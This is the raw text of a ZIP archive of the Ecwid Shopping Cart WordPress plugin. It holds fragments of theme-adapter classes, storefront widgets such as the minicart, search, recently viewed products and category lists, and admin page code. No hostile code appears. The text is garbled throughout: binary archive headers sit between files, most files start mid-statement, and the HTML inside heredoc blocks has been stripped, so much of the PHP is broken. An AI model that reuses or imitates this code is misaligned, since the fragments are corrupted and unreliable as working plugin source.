'ecwid-shopping-cart-3', 'width' => '165', 'height' => '56', 'alt' => __('Ecwid shopping cart', 'ecwid-shopping-cart') ), 'ecwid-ecommerce-widgePKÊ—[ú½þIIAecwid-shopping-cart/includes/themes/class-ecwid-theme-central.phpnu„[µü¤ecwid-shopping-cart/includes/themes/class-ecwid-theme-divi.phpnu„[µü¤is_wireframe_view() ) { add_filter( 'ecwid_scriptjs_code', '__return_false' ); } if( $this->is_visual_view() ) { remove_all_filters( 'ecwid_inline_js_config' ); } if( isset( $_REQUEST['page_id'] ) && $this->is_visual_view() ) { add_action( 'wp_footer', array( $this, 'add_scriptjs_code' ) ); } add_filter( 'single_post_title', array( $this, 'single_post_title' ) , 10000, 2 ); } public function is_wireframe_view() { return isset( $_REQUEST['et_bfb'] ); } public function is_visual_view() { return isset( $_REQUEST['et_fb'] ) && !isset( $_REQUEST['et_bfb'] ); } public function add_scriptjs_code() { echo ecwid_get_scriptjs_code(); } public function single_post_title( $post_title, $post ) { $ecwid_title = _ecwid_get_seo_title(); if( !empty( $ecwid_title ) ) { return $ecwid_title; } return $post_title; } } return new Ecwid_Divi();PKÊ—[5¿=’@ecwid-shopping-cart/includes/themes/class-ecwid-theme-enfold.phpnu„[µü¤ Ecwid.OnPageLoaded.add( function() { if (jQuery('#container').data() && jQuery('#container').data().isotope) { jQuery('#container').data().isotope.reLayout(); } } ); HTML; return $content; } } return new Ecwid_Theme_MFUpdate();PKÊ—[$„Û³ Decwid-shopping-cart/includes/themes/class-ecwid-theme-responsive.phpnu„[µü¤need_advanced_layout() ) { wp_enqueue_style( 'ecwid-theme-adjustments' , ECWID_PLUGIN_URL . 'css/themes/responsive-adjustments.css', array(), get_option('ecwid_plugin_version'), 'all' ); wp_enqueue_script( 'ecwid-theme', ECWID_PLUGIN_URL . 'js/themes/responsive.js', array( 'jquery' ), get_option('ecwid_plugin_version'), true ); add_filter( 'ecwid_minicart_shortcode_content', array( $this, 'minicart_shortcode_content' ) ); add_filter( 'ecwid_search_shortcode_content', array( $this, 'search_shortcode_content' ) ); } wp_enqueue_style( 'ecwid-open-sans' , 'https://fonts.googleapis.com/css?family=Open+Sans:400,700&subset=latin,cyrillic-ext,cyrillic,greek-ext,vietnamese,greek,latin-ext'); wp_enqueue_style( 'dashicons' ); wp_enqueue_style( 'ecwid-theme-fixes' , ECWID_PLUGIN_URL . 'css/themes/responsive.css', array(), get_option('ecwid_plugin_version'), 'all' ); add_filter('body_class', array($this, 'body_class')); } else { add_action('ecwid_store_page_created', array($this, 'on_create_store_page')); add_action('switch_theme', array($this, 'switch_theme')); } } public function switch_theme() { } public function minicart_shortcode_content( $content ) { if ( Ecwid_Store_Page::is_store_page() ) { $content = ''; } return $content; } public function search_shortcode_content( $content ) { $content .= ''; return $content; } public function body_class($classes) { if (get_option('ecwid_show_search_box')) { $classes[] = 'ecwid-with-search'; } return $classes; } public function on_create_store_page($page_id) { update_post_meta($page_id, '_wp_page_template', 'full-width-page.php'); } protected function need_advanced_layout() { return get_option('ecwid_advanced_theme_layout') == 'Y'; } } return new Ecwid_Theme_Responsive();PKÊ—[­¹pGecwid-shopping-cart/includes/themes/class-ecwid-theme-themify-music.phpnu„[µü¤render_placeholder() . $this->_render_shortcode_script($shortcode); } return ''; } public function add_shortcodes($content) { $ecwid_store_id = get_ecwid_store_id(); $before = << ecwid_shortcodes = []; HTML; $app_ecwid_com = Ecwid_Config::get_scriptjs_domain(); $after = << window.ecwid_script_defer = true; window.ecwid_dynamic_widgets = true; if (typeof Ecwid != 'undefined' && Ecwid.destroy) Ecwid.destroy(); if (typeof ecwid_shortcodes != 'undefined') { window._xnext_initialization_scripts = ecwid_shortcodes; if (!document.getElementById('ecwid-script')) { var script = document.createElement('script'); script.charset = 'utf-8'; script.type = 'text/javascript'; script.src = 'https://$app_ecwid_com/script.js?$ecwid_store_id'; script.id = 'ecwid-script' document.body.appendChild(script); var catalog = document.getElementById('ecwid-html-catalog-$ecwid_store_id'); catalog.parentElement.removeChild(catalog); } else { ecwid_onBodyDone(); } } HTML; return $before . $content . $after; } protected function _render_shortcode_script(Ecwid_Shortcode_Base $shortcode) { $args = $shortcode->build_params_string(); $id = $shortcode->get_html_id(); $widgetType = substr($shortcode->get_ecwid_widget_function_name(), 1); if ($widgetType == 'Search') { $widgetType = 'SearchWidget'; } $store_id = get_ecwid_store_id(); $code = << ecwid_shortcodes[ecwid_shortcodes.length] = { widgetType: '$widgetType', id: '$id', arg: [$args] }; HTML; return $code; } } return new Ecwid_Theme_Trend();PKÊ—[‰©ªý  Gecwid-shopping-cart/includes/themes/class-ecwid-theme-twentyfifteen.phpnu„[µü¤ array( 'label' => __('Shop', 'ecwid-shopping-cart') ), '_multiwidget' => 1 ); } else { $options[2] = array( 'label' => __('Shop', 'ecwid-shopping-cart') ); } update_option('widget_ecwidstorelink', $options); } } } return new Ecwid_Theme_2015();PKÊ—[2á¼›¾¾Hecwid-shopping-cart/includes/themes/class-ecwid-theme-twentynineteen.phpnu„[µü¤' . $content . '
    '; } } return new Ecwid_Theme_2019();PKÊ—[wE<Iecwid-shopping-cart/includes/themes/class-ecwid-theme-twentyseventeen.phpnu„[µü¤ '#222', 'color-foreground' => '#fff', 'color-link' => '#fff', 'color-button' => '#888', 'color-price' => '#ddd' ) ); } return $chameleon; } public function on_ecwid_plugin_installed() { $widgets = get_option('sidebars_widgets'); if ( strpos( implode( ' ', $widgets['sidebar-1'] ), 'ecwidstorelink' ) === false ) { array_unshift( $widgets['sidebar-1'], 'ecwidstorelink-2' ); wp_set_sidebars_widgets( $widgets ); $options = get_option( 'widget_ecwidstorelink' ); if (!$options) { $options = array( 2 => array( 'label' => __( 'Shop', 'ecwid-shopping-cart' ) ), '_multiwidget' => 1 ); } else { $options[2] = array( 'label' => __( 'Shop', 'ecwid-shopping-cart' ) ); } update_option( 'widget_ecwidstorelink', $options ); } } } return new Ecwid_Theme_2017();PKÊ—[?EÌ44Gecwid-shopping-cart/includes/themes/class-ecwid-theme-twentysixteen.phpnu„[µü¤ array( 'label' => __('Shop', 'ecwid-shopping-cart') ), '_multiwidget' => 1 ); } else { $options[2] = array( 'label' => __('Shop', 'ecwid-shopping-cart') ); } update_option('widget_ecwidstorelink', $options); } } } return new Ecwid_Theme_2016();PKÊ—[Œ‘.))Aecwid-shopping-cart/includes/themes/class-ecwid-theme-vantage.phpnu„[µü¤ $item) { if( !isset($item->ecwid_page_type) || $item->ecwid_page_type != 'category' ) { continue; } $items[$key]->ID = 0; } } return $items; } } return new Ecwid_Theme_Woodiex();PKÊ—[°ñx“))Aecwid-shopping-cart/includes/themes/class-ecwid-theme-zenlife.phpnu„[µü¤_hide_title = true; $widget_ops = array('classname' => 'widget_ecwid_badge', 'description' => __("Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.", 'ecwid-shopping-cart') ); parent::__construct('ecwidbadge', __('Ecwid Badge', 'ecwid-shopping-cart'), $widget_ops); $this->available_badges = array( 'ecwid-shopping-cart-widget-5' => array ( 'name' => 'ecwid-shopping-cart-widget-5', 'width' => '73', 'height' => '20', 'alt' => __('Ecwid shopping cart widget', 'ecwid-shopping-cart') ), 'ecwid-shopping-cart-widget-6' => array ( 'name' => 'ecwid-shopping-cart-widget-6', 'width' => '73', 'height' => '20', 'alt' => __('Ecwid shopping cart widget', 'ecwid-shopping-cart') ), 'ecwid-ecommerce-solution-2' => array ( 'name' => 'ecwid-ecommerce-solution-2', 'width' => '165', 'height' => '58', 'alt' => __('Ecwid ecommerce solution', 'ecwid-shopping-cart') ), 'ecwid-free-shopping-cart-2' => array ( 'name' => 'ecwid-free-shopping-cart-2', 'width' => '175', 'height' => '58', 'alt' => __('Ecwid free shopping cart', 'ecwid-shopping-cart') ), 'ecwid-shopping-cart-3' => array ( 'name' => 'ecwid-shopping-cart-3', 'width' => '165', 'height' => '56', 'alt' => __('Ecwid shopping cart', 'ecwid-shopping-cart') ), 'ecwid-ecommerce-widgets-3' => array ( 'name' => 'ecwid-ecommerce-widgets-3', 'width' => '165', 'height' => '58', 'alt' => __('Ecwid e-commerce widgets', 'ecwid-shopping-cart') ), 'ecwid-shopping-cart-3' => array ( 'name' => 'ecwid-shopping-cart-3', 'width' => '165', 'height' => '56', 'alt' => __('Ecwid shopping cart', 'ecwid-shopping-cart') ), 'ecwid-ecommerce-widgets-3' => array ( 'name' => 'ecwid-ecommerce-widgets-3', 'width' => '165', 'height' => '58', 'alt' => __('Ecwid e-commerce widgets', 'ecwid-shopping-cart') ), 'ecwid-ecommerce-solution-3' => array ( 'name' => 'ecwid-ecommerce-solution-3', 'width' => '165', 'height' => '58', 'alt' => __('Ecwid ecommerce solution', 'ecwid-shopping-cart') ), 'ecwid-free-shopping-cart-3' => array ( 'name' => 'ecwid-free-shopping-cart-3', 'width' => '175', 'height' => '58', 'alt' => __('Ecwid free shopping cart', 'ecwid-shopping-cart') ) ); } protected function _render_widget_content( $args, $instance ) { if (!isset($instance['badge_id']) || !array_key_exists($instance['badge_id'], $this->available_badges)) { return; } $badge = $this->available_badges[$instance['badge_id']]; $url = sprintf($this->url_template, $badge['name']); if (!isset($instance['badge_id']) || !array_key_exists($instance['badge_id'], $this->available_badges)) { return; } return << $badge[alt] HTML; } function update($new_instance, $old_instance){ $instance = $old_instance; $instance['badge_id'] = array_key_exists($new_instance['badge_id'], $this->available_badges) ? $new_instance['badge_id'] : ''; return $instance; } function form($instance) { $instance = wp_parse_args( (array) $instance, array('badge_id' => 'ecwid-shopping-cart-widget-5') ); foreach ($this->available_badges as $id => $widget) { $element_id = "badge-$id"; $name = $this->get_field_name('badge_id'); $checked = ''; if (isset($instance['badge_id']) && $instance['badge_id'] == $id) { $checked = 'checked="checked"'; } $url = sprintf($this->url_template, $id); $content = <<
    $widget[alt]
    HTML; echo $content; } } }PKÊ—[Tçr´ññ@ecwid-shopping-cart/includes/widgets/class-ecwid-widget-base.phpnu„[µü¤_render_widget_content( $args, $instance ); } if ( empty($content ) ) { return; } echo $before_widget; if ( !$this->_hide_title ) { $title = ' '; if ( isset( $instance['title'] ) && !empty( $instance['title'] ) ) { $title = $instance['title']; } $title = apply_filters( 'widget_title', $title ); if ( $title ) { echo $before_title . $title . $after_title; } } echo $content; echo $after_widget; } }PKÊ—[—¥„ýRecwid-shopping-cart/includes/widgets/class-ecwid-widget-floating-shopping-cart.phpnu„[µü¤ 'widget_ecwid_floating_shopping_cart', 'description' => __("Adds a shopping cart widget to the top right corner of your site.", 'ecwid-shopping-cart') ); parent::__construct('ecwidfloatingshoppingcart', __('Shopping Cart Floating (deprecated)', 'ecwid-shopping-cart'), $widget_ops); add_action('init', array($this, 'init')); } public function init() { if ( is_active_widget(false, false, $this->id_base, true ) || get_option(self::OPTION_DISPLAY_POSITION) ) { add_filter( 'body_class', array($this, 'body_class' ) ); add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'wp_footer', array( $this, 'render' ) ); } } public function enqueue_scripts() { if (self::$was_enqueued) return; wp_enqueue_script('ecwid-floating-shopping-cart', ECWID_PLUGIN_URL . '/js/floating-shopping-cart.js', array('jquery'), get_option('ecwid_plugin_version'), true); $move_to_body = get_option( self::OPTION_MOVE_INTO_BODY ); if ( $move_to_body == '' ) { $move_to_body = is_plugin_active( 'wptouch/wptouch.php' ); } wp_localize_script( 'ecwid-floating-shopping-cart', 'ecwid_floating_shopping_cart_options', array( 'move_to_body' => intval($move_to_body) ) ); wp_enqueue_style('ecwid-floating-shopping-cart', ECWID_PLUGIN_URL . 'css/floating-shopping-cart.css', array(), get_option('ecwid_plugin_version')); } public function body_class($classes) { $classes[] = 'ecwid-floating-shopping-cart'; return $classes; } protected function _render_widget_content( $args, $instance ) { return ''; } public function render() { if (Ecwid_Ajax_Defer_Renderer::get_instance()->is_enabled()) { return; } $position = get_option(self::OPTION_DISPLAY_POSITION); if (!$position) { $options = get_option('widget_ecwidfloatingshoppingcart'); if ( is_array( $options ) ) { foreach ( $options as $key => $option ) { if (is_array($option) && isset($option['position'])) { $position = $option['position']; break; } } } } if (!$position) { return; } $position = in_array($position, self::$positions) ? $position : self::$default_position; if ( Ecwid_Store_Page::is_store_page() ) { $cart_url = '#!/~/cart'; } else { $cart_url = Ecwid_Store_Page::get_cart_url(); } echo ''; echo ecwid_get_scriptjs_code(); echo << HTML; echo ''; } public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['position'] = in_array( $new_instance['position'], self::$positions ) ? $new_instance['position'] : self::$default_position; return $instance; } public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array('position' => self::$default_position ) ); $position = $instance['position']; echo '

    ' . __('Position', 'ecwid-shopping-cart') . ':

    '; echo '

    '; echo '

    '; } } PKÊ—[ðîNÄÄKecwid-shopping-cart/includes/widgets/class-ecwid-widget-latest-products.phpnu„[µü¤_init( __('Latest Products', 'ecwid-shopping-cart'), __('Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.', 'ecwid-shopping-cart'), 'ecwidlatestproducts' ); parent::__construct(); } protected function _get_products() { $api = new Ecwid_Api_V3(); $result = $api->search_products(array( 'sortBy' => 'ADDED_TIME_DESC', 'limit' => $this->_instance['number_of_products'] )); return @$result->items; } } PKÊ—[ÌÙ×ÀááMecwid-shopping-cart/includes/widgets/class-ecwid-widget-minicart-miniview.phpnu„[µü¤ 'widget_ecwid_minicart_miniview', 'description' => __("Adds a compact cart widget for customer to see the products they added to the cart.", 'ecwid-shopping-cart') ); parent::__construct('ecwidminicart_miniview', __('Shopping Cart Mini (deprecated)', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { $html = ''; $html .= '
    '; $html .= ''; $html .= ecwid_get_scriptjs_code(); $html .= ecwid_get_product_browser_url_script(); $html .= ''; $html .= ''; $html .= '
    '; return $html; } function update($new_instance, $old_instance){ $instance = $old_instance; $instance['title'] = strip_tags(stripslashes($new_instance['title'])); return $instance; } function form($instance){ $instance = wp_parse_args( (array) $instance, array('title'=>'') ); $title = htmlspecialchars($instance['title']); echo '

    '; } } PKÊ—[Qj žžDecwid-shopping-cart/includes/widgets/class-ecwid-widget-minicart.phpnu„[µü¤ 'widget_ecwid_minicart', 'description' => __("Adds a cart widget for customer to see the products they added to the cart.", 'ecwid-shopping-cart') ); parent::__construct('ecwidminicart', __('Shopping Cart (deprecated)', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { $html = ''; echo '
    '; $html .= ''; $html .= ecwid_get_scriptjs_code(); $html .= ecwid_get_product_browser_url_script(); $html .= ''; $html .= ''; $html .= '
    '; return $html; } function update($new_instance, $old_instance){ $instance = $old_instance; $instance['title'] = strip_tags(stripslashes($new_instance['title'])); return $instance; } function form($instance){ $instance = wp_parse_args( (array) $instance, array('title'=>'') ); $title = htmlspecialchars($instance['title']); echo '

    '; } } PKÊ—[—³;;Hecwid-shopping-cart/includes/widgets/class-ecwid-widget-nsf-minicart.phpnu„[µü¤__idbase = 'ecwidnsfminicart'; $widget_ops = array('classname' => 'widget_' . $this->__idbase, 'description' => __("Adds a cart widget for customer to see the products they added to the cart.", 'ecwid-shopping-cart') ); parent::__construct($this->__idbase, __('Shopping Cart', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { extract($args); $instance = wp_parse_args( (array) $instance, array( self::FIELD_TITLE => '', self::FIELD_LAYOUT => 'BIG_ICON_TITLE_SUBTOTAL', self::FIELD_ICON => 'BAG', self::FIELD_FIXED_SHAPE => 'RECT' ) ); $html = ''; $html .= '
    '; ob_start(); require 'nsf-minicart.tpl.php'; $html .= ob_get_contents(); ob_end_clean(); $html .= '
    '; return $html; } function update($new_instance, $old_instance) { $new_instance = wp_parse_args( (array) $new_instance, array( self::FIELD_TITLE => '', self::FIELD_LAYOUT => 'BIG_ICON_TITLE_SUBTOTAL', self::FIELD_ICON => 'BAG', self::FIELD_FIXED_SHAPE => 'RECT', ) ); $new_instance['title'] = strip_tags( stripslashes( $new_instance['title'] ) ); return $new_instance; } function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( self::FIELD_TITLE => '', self::FIELD_LAYOUT => 'BIG_ICON_TITLE_SUBTOTAL', self::FIELD_ICON => 'BAG', self::FIELD_FIXED_SHAPE => 'RECT' ) ); require 'nsf-minicart-editor.tpl.php'; } } PKÊ—[¶b–ÁhhKecwid-shopping-cart/includes/widgets/class-ecwid-widget-product-browser.phpnu„[µü¤ 'widget_ecwid_product_browser', 'description' => __("Your store will be shown here", 'ecwid-shopping-cart') ); parent::__construct('ecwidproductbrowser', __('Online store', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { $html = '[ecwid widgets="productbrowser" default_category_id="0"]'; return $html; } }PKÊ—[A-ÛËËIecwid-shopping-cart/includes/widgets/class-ecwid-widget-products-base.phpnu„[µü¤_widget_name); $classname = 'widget_' . $this->_widget_name; $widget_ops = array('classname' => $classname, 'description' => $this->_description); parent::__construct($id_base, $this->_title, $widget_ops); add_action( 'wp_enqueue_scripts', array($this, 'enqueue' ) ); } protected function _init( $title, $description, $widget_name = null, $class_name = null ) { $this->_title = $title; $this->_description = $description; if ( is_null ( $widget_name ) ) { $widget_name = strtolower( $title ); $widget_name = preg_replace('![^a-z0-9_\s-]!', '', $widget_name); $widget_name = preg_replace('![\s-]+!', '_', $widget_name); $widget_name = 'ecwid_' . $widget_name; } $this->_widget_name = $widget_name; if (is_null($class_name)) { $class_name = str_replace('_', '-', $this->_widget_name); } $this->_class_name = $class_name; } public function enqueue() { if ( is_active_widget( false, false, $this->id_base ) ) { wp_enqueue_style('ecwid-products-list-css', ECWID_PLUGIN_URL . 'css/products-list.css', array(), get_option('ecwid_plugin_version')); wp_enqueue_script('ecwid-products-list-js', ECWID_PLUGIN_URL . 'js/products-list.js', array('jquery-ui-widget'), get_option('ecwid_plugin_version')); } } function _render_widget_content( $args, $instance ) { $this->_args = $args; $this->_instance = wp_parse_args( $instance, array( 'number_of_products' => $this->_default ) ); $html = ''; $html .= '' . ecwid_get_scriptjs_code() . ''; $html .= '
    '; $counter = 1; $ids = array(); ob_start(); $this->_print_widget_content( $instance ); $html .= ob_get_contents(); ob_end_clean(); $html .= '
    '; return $html; } protected function _print_widget_content( $instance ) { $products = $this->_get_products(); if ($products) { $this->_print_products($products); $this->_print_js_init(); } } protected function _print_js_init() { $data_attr = "data-$this->_class_name-initialized"; echo << HTML; } protected function _print_products($products) { $next = 1; foreach ($products as $obj) { $product = Ecwid_Product::get_by_id($obj->id); if (!$product->id) { continue; } $force_image = ''; if ( isset( $product->imageUrl ) && strpos( $product->imageUrl, 'https://' ) == 0 ) { $force_image = $product->imageUrl; } $name = esc_html($product->name); echo <<
    HTML; $next++; } } function update($new_instance, $old_instance){ $instance = $old_instance; foreach ($this->_get_form_fields() as $field) { $name = $field['name']; if ( $name == 'number_of_products' ) { $instance[$name] = $this->_get_valid_number_of_products($new_instance['number_of_products']); } else { $instance[$name] = strip_tags(stripslashes($new_instance[$name])); } } return $instance; } function form($instance){ $default_args = array(); foreach ( $this->_get_form_fields() as $field ) { $default_args[$field['name']] = $field['default']; } $instance = wp_parse_args( (array) $instance, $default_args ); foreach ($this->_get_form_fields() as $field) { if ($field['type'] == 'int') { $value = intval($instance[$field['name']]); } else { $value = htmlspecialchars($instance[$field['name']]); } $template = '

    '; printf( $template, $this->get_field_name( $field['name'] ), $field['title'], 'width:100%', $this->get_field_id( $field['name'] ), $this->get_field_name( $field['name'] ), $value ); } } function _get_valid_number_of_products($num) { $num = intval($num); if ($num > $this->_max) { $num = $this->_max; } else if ($num < $this->_min) { $num = $this->_default; } return $num; } protected function _get_form_fields() { return array( array( 'name' => 'title', 'title' => __('Title'), 'type' => 'text', 'default' => $this->_title, ), array( 'name' => 'number_of_products', 'title' => __( 'Number of products to show', 'ecwid-shopping-cart' ), 'type' => 'int', 'default' => 3 ) ); } } PKÊ—[ÚÏ‘× × Jecwid-shopping-cart/includes/widgets/class-ecwid-widget-random-product.phpnu„[µü¤ 'widget_ecwid_random_product', 'description' => __("Displays a random product from your store to attract customer attention.", 'ecwid-shopping-cart') ); parent::__construct('ecwidrandomproduct', __('Random Product', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { $product = Ecwid_Product::get_random_product(); if (! $product ) { return ''; } $name = esc_attr( $product->name ); $url = $product->link; $content = <<
    HTML; $html = ''; $html .= '
    '; $html .= ''; $html .= ecwid_get_scriptjs_code(); $html .= $content; $html .= ''; $html .= '
    '; return $html; } function update($new_instance, $old_instance){ $instance = $old_instance; $instance['title'] = strip_tags(stripslashes($new_instance['title'])); return $instance; } function form($instance){ $instance = wp_parse_args( (array) $instance, array('title'=>'') ); $title = htmlspecialchars($instance['title']); if (!$title) { $title = __('Random Product', 'ecwid-shopping-cart'); } echo '

    '; } } PKÊ—[©-ÎbK K Kecwid-shopping-cart/includes/widgets/class-ecwid-widget-recently-viewed.phpnu„[µü¤_init( __('Recently Viewed Products', 'ecwid-shopping-cart'), __('Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.', 'ecwid-shopping-cart'), 'ecwid_recently_viewed', 'ecwid-recently-viewed-products' ); parent::__construct(); $recently_viewed = false; if (isset($_COOKIE['ecwid-shopping-cart-recently-viewed'])) { $recently_viewed = json_decode(stripslashes($_COOKIE['ecwid-shopping-cart-recently-viewed'])); } if ($recently_viewed && $recently_viewed->store_id != get_ecwid_store_id() && !is_admin()) { setcookie('ecwid-shopping-cart-recently-viewed', null, strtotime('-1 day')); } } public function enqueue() { parent::enqueue(); if ( is_active_widget( false, false, $this->id_base ) ) { wp_enqueue_script($this->_widget_name, ECWID_PLUGIN_URL . 'js/recently-viewed.js', array('ecwid-products-list-js', 'utils'), get_option('ecwid_plugin_version')); wp_enqueue_style($this->_widget_name, ECWID_PLUGIN_URL . 'css/recently-viewed.css', array(), get_option('ecwid_plugin_version')); } } protected function _get_products() { $recently_viewed = false; if (isset($_COOKIE['ecwid-shopping-cart-recently-viewed'])) { $recently_viewed = json_decode($_COOKIE['ecwid-shopping-cart-recently-viewed']); } $recently_viewed = json_decode(stripslashes(@$_COOKIE['ecwid-shopping-cart-recently-viewed'])); if ($recently_viewed && $recently_viewed->store_id != get_ecwid_store_id()) { $recently_viewed = null; } if ($recently_viewed && isset($recently_viewed->products)) { $to_load = array(); foreach ($recently_viewed->products as $product_data) { $product = Ecwid_Product::get_without_loading($product_data->id); if (!@$product->imageUrl) { $to_load[] = $product_data->id; } } if (!empty($to_load)) { Ecwid_Product::preload_by_ids($to_load); } } else { return null; } return array_reverse($recently_viewed->products); } protected function _print_no_products() { $store_link_message = empty($instance['store_link_title']) ? __('You have not viewed any product yet. Open store.', 'ecwid-shopping-cart') : $instance['store_link_title']; echo '' . $store_link_message . ''; echo << jQuery(document).ready(function() { wpCookies.remove('ecwid-shopping-cart-recently-viewed'); recently_viewed = {products: []}; }); HTML; } protected function _get_form_fields() { $fields = parent::_get_form_fields(); $fields[] = array( 'name' => 'store_link_title', 'title' => __('Store Link Title', 'ecwid-shopping-cart'), 'type' => 'text', 'default' => __('You have not viewed any product yet. Open store.', 'ecwid-shopping-cart') ); return $fields; } } PKÊ—[ ËBecwid-shopping-cart/includes/widgets/class-ecwid-widget-search.phpnu„[µü¤ 'widget_ecwid_search', 'description' => __("Displays a simple search box for your customers to find a product in your store", 'ecwid-shopping-cart')); parent::__construct('ecwidsearch', __('Product Search', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { $html = ''; $html .= '
    '; $html .= ''; $html .= ecwid_get_scriptjs_code(); $html .= ecwid_get_product_browser_url_script(); $code = ecwid_get_search_js_code(); $html .= ''; $html .= ''; $html .= '
    '; return $html; } function update($new_instance, $old_instance){ $instance = $old_instance; $instance['title'] = strip_tags(stripslashes($new_instance['title'])); return $instance; } function form($instance){ $instance = wp_parse_args( (array) $instance, array('title'=>'') ); $title = htmlspecialchars($instance['title']); echo '

    '; } } PKÊ—[2ãÆggFecwid-shopping-cart/includes/widgets/class-ecwid-widget-store-link.phpnu„[µü¤_hide_title = true; $widget_ops = array('classname' => 'widget_ecwid_store_link', 'description' => __('Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.', 'ecwid-shopping-cart')); parent::__construct('ecwidstorelink', __('Store Page Link', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { $html = '
    '; $html .= '' . $instance['label'] . ''; $html .= '
    '; return $html; } function update($new_instance, $old_instance){ $instance = $old_instance; $instance['label'] = strip_tags(stripslashes($new_instance['label'])); return $instance; } function form($instance){ $instance = wp_parse_args( (array) $instance, array( 'label' => __('Shop', 'ecwid-shopping-cart') ) ); $label = htmlspecialchars($instance['label']); echo '

    '; } }PKÊ—[NC¸’‘‘Gecwid-shopping-cart/includes/widgets/class-ecwid-widget-vcategories.phpnu„[µü¤ 'widget_ecwid_vcategories', 'description' => __('Adds vertical categories block to let the customer navigate your store.', 'ecwid-shopping-cart')); parent::__construct('ecwidvcategories', __('Store Categories', 'ecwid-shopping-cart'), $widget_ops); } function _render_widget_content( $args, $instance ) { $html = '
    '; $html .= ''; $html .= ecwid_get_scriptjs_code(); $html .= ecwid_get_product_browser_url_script(); $html .= ''; $html .= ''; $html .= '
    '; return $html; } function update($new_instance, $old_instance){ $instance = $old_instance; $instance['title'] = strip_tags(stripslashes($new_instance['title'])); return $instance; } function form($instance){ $instance = wp_parse_args( (array) $instance, array('title'=>'') ); $title = htmlspecialchars($instance['title']); echo '

    '; } } PKÊ—[ Õ# ' ' Tecwid-shopping-cart/includes/widgets/class-ecwid-widget-vertical-categories-list.phpnu„[µü¤ 'widget_ecwid_vcategories_list', 'description' => __( 'Adds root categories list to the sidebar to let your customers navigate the store.', 'ecwid-shopping-cart' ) ); parent::__construct( 'ecwidvcategorieslist', __('Store Root Categories', 'ecwid-shopping-cart' ), $widget_ops); } public function _render_widget_content( $args, $instance ) { $api = new Ecwid_Api_V3(); $result = $api->get_categories(array( 'parent' => 0 ) ); if ( !$result || empty( $result->items ) ) return ""; $categories = $result->items; usort( $categories, Ecwid_Category::usort_callback() ); $html = '
      '; foreach ($categories as $category) { $category = Ecwid_Category::get_by_id( $category->id ); $html .= '
    • '; $html .= '' . $category->name . ''; $html .= '
    • '; } $html .= '
    '; return $html; } /** * Handles updating settings for the current Meta widget instance. * * @since 2.8.0 * @access public * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); return $instance; } /** * Outputs the settings form for the Meta widget. * * @since 2.8.0 * @access public * * @param array $instance Current settings. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, array( 'title' => __( 'Browse by Category', 'ecwid-shopping-cart' ) ) ); $title = sanitize_text_field( $instance['title'] ); ?>

    PKÊ—[k±ÁÛ¼¼9ecwid-shopping-cart/includes/widgets/nsf-minicart.tpl.phpnu„[µü¤
    PKÊ—[z§f>>.ecwid-shopping-cart/includes/widgets/error_lognu„[µü¤nce ECWID_PLUGIN_DIR . 'templates/reconnect-sso.php'; } else { require_once ECWID_PLUGIN_DIR . 'templates/admin/simple-dashboard.php'; } } else { require_once ECWID_PLUGIN_DIR . 'templates/ecwid-admin.php'; } } public static function is_forced_reconnect() { return isset( $_GET['reconnect'] ); } protected static function _get_upgrade_page_hash() { return 'billing:feature=sso&plan=ecwid_venture'; } protected function _do_welcome_page( $state ) { global $ecwid_oauth; if( isset($_GET['oauth']) && $_GET['oauth'] == 'no' ) { $state = 'no_oauth'; } $connection_error = self::is_connection_error(); $connect_url = 'admin-post.php?action=ec_connect'; require_once ECWID_ADMIN_TEMPLATES_DIR . '/welcome-page.php'; } public function get_welcome_page_note( $text, $additional_classes = '' ) { return sprintf( '
    %s
    ', $additional_classes, $text ); } protected function _do_simple_connect_page() { $this->_do_welcome_page( 'connect' ); } protected function _do_simple_reconnect_page() { $this->_do_welcome_page( 'connect' ); } protected function _do_fancy_connect_page() { $this->_do_welcome_page( 'create' ); } protected function _do_simple_dashboard_page() { require_once ECWID_ADMIN_TEMPLATES_DIR . '/simple-dashboard.php'; } protected function _do_legacy_connect_page() { wp_enqueue_style('legacy-connect', ECWID_PLUGIN_URL . '/css/legacy-connect.css'); require_once ECWID_ADMIN_TEMPLATES_DIR . '/legacy-connect.tpl.php'; } protected function _is_whitelabel_mode_with_no_registration() { return Ecwid_Config::is_no_reg_wl(); } protected function _is_oauth_error() { $connection_error = isset( $_GET['connection_error'] ); $no_oauth = @$_GET['oauth'] == 'no'; return isset( $connection_error ) && $no_oauth; } protected function _is_current_user_email_registered_at_ecwid() { $api = new Ecwid_Api_V3(); $current_user = wp_get_current_user(); return $api->does_store_exist( $current_user->user_email ); } static public function is_connection_error() { return isset( $_GET['connection_error'] ); } } $_ecwid_admin_main_page = new Ecwid_Admin_Main_Page();PKÊ—[«¹_—ý7ý72ecwid-shopping-cart/includes/class-ecwid-admin.phpnu„[µü¤ __('Dashboard', 'ecwid-shopping-cart'), 'dashboard_url' => Ecwid_Admin::get_relative_dashboard_url(), 'menu' => self::are_auto_menus_enabled() ? $menu : array(), 'baseSlug' => self::ADMIN_SLUG, 'enableAutoMenus' => self::are_auto_menus_enabled(), 'actionUpdateMenu' => self::AJAX_ACTION_UPDATE_MENU )); } public function build_menu() { $is_newbie = ecwid_is_demo_store(); if ( Ecwid_Admin_Main_Page::is_forced_reconnect() ) { $is_newbie = true; } $page = new Ecwid_Admin_Main_Page(); add_menu_page( 